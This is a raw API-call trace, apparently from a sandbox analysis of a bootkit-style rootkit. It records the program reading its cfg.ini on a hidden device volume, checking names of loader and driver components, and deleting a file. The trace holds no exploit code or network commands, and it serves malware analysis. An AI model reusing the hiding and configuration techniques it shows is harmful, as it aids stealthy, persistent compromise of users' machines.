[0126.534] KeLeaveCriticalRegion () [0126.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.534] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.534] KeEnterCriticalRegion () [0126.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.534] KeLeaveCriticalRegion () [0126.534] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.534] KeEnterCriticalRegion () [0126.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.534] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.535] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac62d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.535] KeLeaveCriticalRegion () [0126.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.535] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.535] KeEnterCriticalRegion () [0126.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.535] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.535] KeLeaveCriticalRegion () [0126.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.535] ReleaseMutex (hMutex=0xf0) returned 1 [0126.535] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.535] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.535] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.535] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.535] KeEnterCriticalRegion () [0126.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.535] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.535] IdePortDispatch () returned 0x103 [0126.535] KeWaitForMutexObject () returned 0x0 [0126.535] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.535] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.535] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.535] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.535] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.535] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.535] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.535] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.535] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.535] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.536] KeLeaveCriticalRegion () [0126.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.536] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.536] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.536] KeEnterCriticalRegion () [0126.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.536] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.536] IdePortDispatch () returned 0x103 [0126.536] KeWaitForMutexObject () returned 0x0 [0126.536] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.536] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.536] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.536] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.536] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.536] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.536] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.536] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.536] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.536] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.536] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.536] KeLeaveCriticalRegion () [0126.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.536] ReleaseMutex (hMutex=0x100) returned 1 [0126.536] Sleep (dwMilliseconds=0x2bf20) [0126.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e9fa9d0, dwHighDateTime=0x1d24fa4)) [0126.551] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.551] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.551] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.551] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.551] KeEnterCriticalRegion () [0126.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.551] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.551] IdePortDispatch () returned 0x103 [0126.551] KeWaitForMutexObject () returned 0x0 [0126.551] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.551] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.551] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.551] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.551] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.551] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.551] KeLeaveCriticalRegion () [0126.551] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.551] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.551] KeEnterCriticalRegion () [0126.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.552] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.552] KeLeaveCriticalRegion () [0126.552] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.552] KeEnterCriticalRegion () [0126.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.552] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.552] IdePortDispatch () returned 0x103 [0126.552] KeWaitForMutexObject () returned 0x0 [0126.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.552] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.552] KeLeaveCriticalRegion () [0126.552] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.552] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.552] KeEnterCriticalRegion () [0126.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ed000 [0126.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.552] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.552] IdePortDispatch () returned 0x103 [0126.552] KeWaitForMutexObject () returned 0x0 [0126.552] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.553] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.553] IdePortDispatch () returned 0x103 [0126.553] KeWaitForMutexObject () returned 0x0 [0126.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.553] KeLeaveCriticalRegion () [0126.553] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.553] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.553] KeEnterCriticalRegion () [0126.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.553] KeLeaveCriticalRegion () [0126.553] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.553] KeEnterCriticalRegion () [0126.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.554] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.554] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.554] KeLeaveCriticalRegion () [0126.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.554] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.554] KeEnterCriticalRegion () [0126.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.554] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.554] KeLeaveCriticalRegion () [0126.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.554] ReleaseMutex (hMutex=0xf0) returned 1 [0126.554] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.554] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.554] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.554] KeEnterCriticalRegion () [0126.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.554] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.554] IdePortDispatch () returned 0x103 [0126.554] KeWaitForMutexObject () returned 0x0 [0126.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.554] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.554] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.554] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.554] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.554] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037eeb30 [0126.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.554] KeLeaveCriticalRegion () [0126.554] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.555] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.555] KeEnterCriticalRegion () [0126.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.555] KeLeaveCriticalRegion () [0126.555] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.555] KeEnterCriticalRegion () [0126.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.555] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.555] IdePortDispatch () returned 0x103 [0126.555] KeWaitForMutexObject () returned 0x0 [0126.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.555] KeLeaveCriticalRegion () [0126.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.555] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.555] KeEnterCriticalRegion () [0126.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.555] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ee000 [0126.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.555] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.555] IdePortDispatch () returned 0x103 [0126.555] KeWaitForMutexObject () returned 0x0 [0126.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.556] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.556] IdePortDispatch () returned 0x103 [0126.556] KeWaitForMutexObject () returned 0x0 [0126.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.556] KeLeaveCriticalRegion () [0126.556] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.556] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.556] KeEnterCriticalRegion () [0126.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.556] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.556] KeLeaveCriticalRegion () [0126.556] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.556] KeEnterCriticalRegion () [0126.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.556] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.557] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037eebf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.557] KeLeaveCriticalRegion () [0126.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.557] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.557] KeEnterCriticalRegion () [0126.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.557] ExFreePoolWithTag (P=0xfffffa80037eeb30, Tag=0x0) [0126.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.557] KeLeaveCriticalRegion () [0126.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.557] ReleaseMutex (hMutex=0xf0) returned 1 [0126.557] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.557] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.557] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.557] KeEnterCriticalRegion () [0126.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.557] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.557] IdePortDispatch () returned 0x103 [0126.557] KeWaitForMutexObject () returned 0x0 [0126.557] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.557] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.557] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.557] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.557] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.557] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee300 [0126.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.557] KeLeaveCriticalRegion () [0126.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.557] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.557] KeEnterCriticalRegion () [0126.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.557] KeLeaveCriticalRegion () [0126.558] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.558] 